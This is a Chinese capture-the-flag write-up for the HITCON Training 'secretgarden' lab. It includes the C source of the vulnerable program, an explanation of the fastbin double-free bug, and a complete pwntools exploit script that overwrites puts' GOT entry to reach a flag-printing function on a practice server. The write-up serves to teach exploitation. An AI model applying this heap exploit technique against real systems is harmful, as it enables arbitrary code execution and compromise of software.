hitcon training lab12(secretgarden)

发布于:2023-01-20 ⋅ 阅读:(15) ⋅ 点赞:(0) ⋅ 评论:(0)

1,题目链接和源码

链接:https://pan.baidu.com/s/1uM62fVg6yUNamKob74v4TA 
提取码:1111

然后源码我也放在这吧

#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60


struct flower{
	int vaild ;
	char *name ;
	char color[24] ;
};


struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;



void menu(){
	puts("");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("☆         Baby Secret Garden      ☆ ");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("");
	puts("  1 . Raise a flower " );
	puts("  2 . Visit the garden ");
	puts("  3 . Remove a flower from the garden");
	puts("  4 . Clean the garden");
	puts("  5 . Leave the garden");
	puts("");
	printf("Your choice : ");
}

int add(){
	struct flower *newflower = NULL ;
	char *buf = NULL ;
	unsigned size =0;
	unsigned index ;
	if(flowercount < 100){
		newflower = malloc(sizeof(struct flower));
		memset(newflower,0,sizeof(struct flower));
		printf("Length of the name :");
		if(scanf("%u",&size)== EOF) exit(-1);
		buf = (char*)malloc(size);
		if(!buf){
			puts("Alloca error !!");
			exit(-1);
		}
		printf("The name of flower :");
		read(0,buf,size);
		newflower->name = buf ;
		printf("The color of the flower :");
		scanf("%23s",newflower->color);
		newflower->vaild = 1 ;
		for(index = 0 ; index < 100 ; index++ ){
			if(!flowerlist[index]){
				flowerlist[index] = newflower ;
				break ;
			}
		}
		flowercount++ ;
		puts("Successful !");
	}else{
		puts("The garden is overflow");
	}
}

int del(){
	unsigned int index ;
	if(!flowercount){
		puts("No flower in the garden");
	}else{
		printf("Which flower do you want to remove from the garden:");
		scanf("%d",&index);
		if(index < 0 ||index >= 100 || !flowerlist[index]){
			puts("Invalid choice");
			return 0 ;
		}
		(flowerlist[index])->vaild = 0 ;
		free((flowerlist[index])->name);
		puts("Successful");
	}
}

void magic(){
    int fd ;
    char buffer[100];
    fd = open("/home/babysecretgarden/flag",O_RDONLY);
    read(fd,buffer,sizeof(buffer));
    close(fd);
    printf("%s",buffer);
    exit(0);
}

void clean(){
	unsigned index ;
	for(index = 0 ; index < 100 ; index++){
		if(flowerlist[index] && (flowerlist[index])->vaild == 0){
			free(flowerlist[index]);
			flowerlist[index] = NULL;
			flowercount--;
		}
	}
	puts("Done!");
}

int visit(){
	unsigned index ;
	if(!flowercount){
		puts("No flower in the garden !");
	}else{
		for(index = 0 ; index < 100 ; index++){
			if(flowerlist[index] && (flowerlist[index])->vaild){
				printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
				printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
			}
		}	
	}
}

void handler(int signum){
	puts("timeout");
	exit(1);
}
void init(){
	int fd;
	fd = open("/dev/urandom",0);
	close(fd);
	setvbuf(stdout,0,2,0);
	signal(SIGALRM,handler);
	alarm(TIMEOUT);
}


int main(){
	init();
	int choice ;
	char buf[10];
	while(1){
		menu();
		read(0,buf,8);
		choice = atoi(buf);
		switch(choice){
			case 1:
				add();
				break ;
			case 2:
				visit();
				break ;
			case 3:
				del();
				break ;
			case 4:
				clean();
				break ;
			case 5:
				puts("See you next time.");
				exit(0);
			default :
				puts("Invalid choice");
				break ;
		}

	}

}

2检测

3首先还是ida,然后直接去del的那一部分,感觉堆的题目大多是free的地方有问题

然后很明显这里的free没有置零 

4然后看源码吧(虽然做题的时候看不到,但是我觉得在自己还不熟的情况下看源码比较容易让我自己理解)

之前的free对应着一段

5然后跑下程序

 和之前的那些新建堆然后删掉的没啥区别,单纯换个形式,然后肯定是要用到之前double free的知识点

6在做题前我还是很喜欢源码,因为正向确实比逆向简单多了,以前不看源码,现在才知道magic里面就是一个c语言最简单的打开文件的操作,讲道理ida的反汇编是真的抽象

 7,然后就是具体的解题

首先把got表的能搞先搞了

 能用的还是那个输出函数,然后还是要把puts的位置干成magic

magic    .text    0000000000400C7B    0000006E    00000088        .    .    .    .    .    B    .    .

拉到gdb

 堆打开来这个鬼样,0x31是因为源码中

给color的值是24是一个固定的值,然后0x61则是因为之前我们输入申请的大小是80

然后就是一个double free的机制

所谓double free,指的就是对同一个allocated chunk free两次,这样就可以形成一个类似0 -> 1 -> 0的cycled bin list,这样当我们malloc出0时,就可以修改bin list中0的fd,如1 -> 0 -> target,这样只要我们再malloc三次,并通过malloc的检查,就可以实现malloc到任何地址,进而实现任意地址写

create(0x50,'aaaa','red')
create(0x50,'bbbb','green')
delete(0)
delete(1)
delete(0)
create(0x50,p64(target),'red')

然后后面的那块颜色不会被释放掉,就随便填就行

from pwnpwnpwn import *
from pwn import *

host = "training.pwnable.tw"
port = 11012

r = remote(host,port)

def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)

def visit():
    r.recvuntil(":")
    r.sendline("2")

def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def clean():
    r.recvuntil(":")
    r.sendline("4")

magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")

r.interactive()


网站公告

欢迎关注微信公众号

今日签到

点亮在社区的每一天
签到